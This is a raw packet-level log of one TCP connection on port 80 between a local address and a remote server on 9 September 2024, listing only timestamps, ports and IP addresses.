Sep 9, 2024 18:45:02.420747042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420763969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420780897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420790911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.420795918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420811892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420820951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.420852900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.420924902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420939922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420955896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420970917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.420978069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.421004057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.421029091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.421034098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.421056032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.421072006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.421077967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.421088934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.421097040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.421107054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.421116114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.421137094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.421156883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.421236038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.421251059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.421267033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.421282053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.421283007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.421297073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.421300888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.421318054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.421329021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.421348095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.421374083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480304956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480331898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480348110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480391026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480415106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480429888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480431080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480448961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480464935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480465889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480495930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480521917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480530024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480545998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480561018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480575085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480586052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480612993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480638027 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480654955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480706930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480727911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480743885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480758905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480777979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480797052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480808020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480824947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480840921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480855942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480871916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480873108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480889082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480891943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480901957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480906010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480922937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480922937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480938911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480940104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480952024 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480956078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.480973005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.480990887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481009007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481057882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481072903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481089115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481106997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481117964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481137991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481209040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481225967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481241941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481261015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481268883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481287956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481293917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481309891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481313944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481327057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481340885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481343985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481363058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481370926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481390953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481422901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481431007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481446981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481479883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481494904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481514931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481529951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481544971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481560946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481561899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481578112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481590986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481610060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481667042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481682062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481698036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481714010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481714964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481734037 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481745005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481765985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481926918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481942892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481967926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.481980085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.481982946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.482001066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.482007980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.482017040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.482033014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.482033968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.482052088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.482064962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.482084990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.482106924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.482151985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.482244015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.482259989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.482278109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.482292891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.482295990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.482311010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.482315063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.482327938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.482341051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.482345104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.482361078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.482372046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.482376099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.482393980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.482422113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.512233973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.512259007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.512275934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.512305021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.512321949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.512340069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.512368917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.512384892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.512402058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.512418032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.512439966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.512444973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.512444973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.512444973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.512445927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.512456894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.512475967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.512479067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.512479067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.512479067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.512479067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.512490988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.512495041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.512499094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.512526035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.512881994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.512904882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.512933969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.512952089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.512967110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513000011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513001919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513001919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513001919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513001919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513004065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513021946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513030052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513040066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513051987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513058901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513072014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513077974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513089895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513103962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513107061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513123035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513123035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513142109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513154030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513173103 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513190985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513211012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513226986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513242960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513258934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513259888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513278008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513278008 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513292074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513309956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513329029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513336897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513354063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513384104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513405085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513406038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513422966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513458967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513480902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513784885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513809919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513828039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513839960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513844967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513859034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513863087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513879061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513892889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513897896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513911009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513914108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513928890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513936043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513947964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513957024 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513964891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513978958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.513993025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.513997078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.514010906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.514017105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.514027119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.514036894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.514046907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.514051914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.514065027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.514070988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.514086008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.514094114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.514115095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.514132977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.572897911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.572933912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.572952032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.572967052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.572973013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.572984934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573004007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573004007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573012114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573024035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573030949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573045969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573048115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573065996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573071003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573071003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573085070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573091984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573116064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573132038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573138952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573156118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573174953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573194027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573194027 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573220015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573220015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573239088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573302031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573321104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573354959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573378086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573395014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573410034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573426008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573450089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573453903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573453903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573467016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573474884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573484898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573493004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573513985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573533058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573604107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573621035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573637009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573653936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573659897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573685884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573685884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573695898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573709965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573746920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573750019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573782921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573800087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573829889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573832035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573863983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573880911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573884964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573899031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.573914051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573940039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573940039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.573999882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574017048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574033022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574050903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574059963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574059963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574068069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574080944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574088097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574100971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.574106932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.574121952 CEST	49707	80	192.168.2.5	45.152.113.10
